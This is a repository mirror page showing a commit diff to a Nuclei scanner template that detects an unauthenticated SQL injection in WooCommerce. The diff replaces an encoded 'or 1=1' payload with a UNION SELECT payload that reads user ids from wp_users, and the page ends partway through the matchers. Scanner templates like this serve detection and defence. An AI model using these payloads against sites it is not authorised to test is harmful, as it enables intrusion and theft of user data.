daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #2038 from Mad-robot/master 

Update wordpress-woocommerce-sqli.yaml
patch-1
Sandeep Singh 2021-07-16 00:36:43 +05:30 committed by GitHub
parent 9b7a57bf15 6d27a6fe8e
commit 3668f4c582
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
vulnerabilities/wordpress/wordpress-woocommerce-sqli.yaml
View File

@ -2,31 +2,25 @@ id: wordpress-woocommerce-sqli
info: info:
name: Unauthenticated SQL injection Woocommerce name: Unauthenticated SQL injection Woocommerce
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
severity: critical severity: critical
tags: wordpress,woocomernce,sqli,wp-plugin tags: wordpress,woocomernce,sqli,wp-plugin
reference: | reference: |
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021 - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
requests: requests:
- raw: - method: GET
- | path:
GET /wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=aa%252522%252529or%2525201%25253D1%252523&attributes[0][taxonomy]=11 HTTP/1.1 - '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
{{Hostname}} - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
- |
GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=aa%252522%252529or%2525201%25253D1%252523&attributes[0][taxonomy]=11 HTTP/1.1
{{Hostname}}
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- '"term":' - 'sqli-test'
- '"count":' - 'attribute_counts'
part: body
condition: and condition: and
- type: word - type: word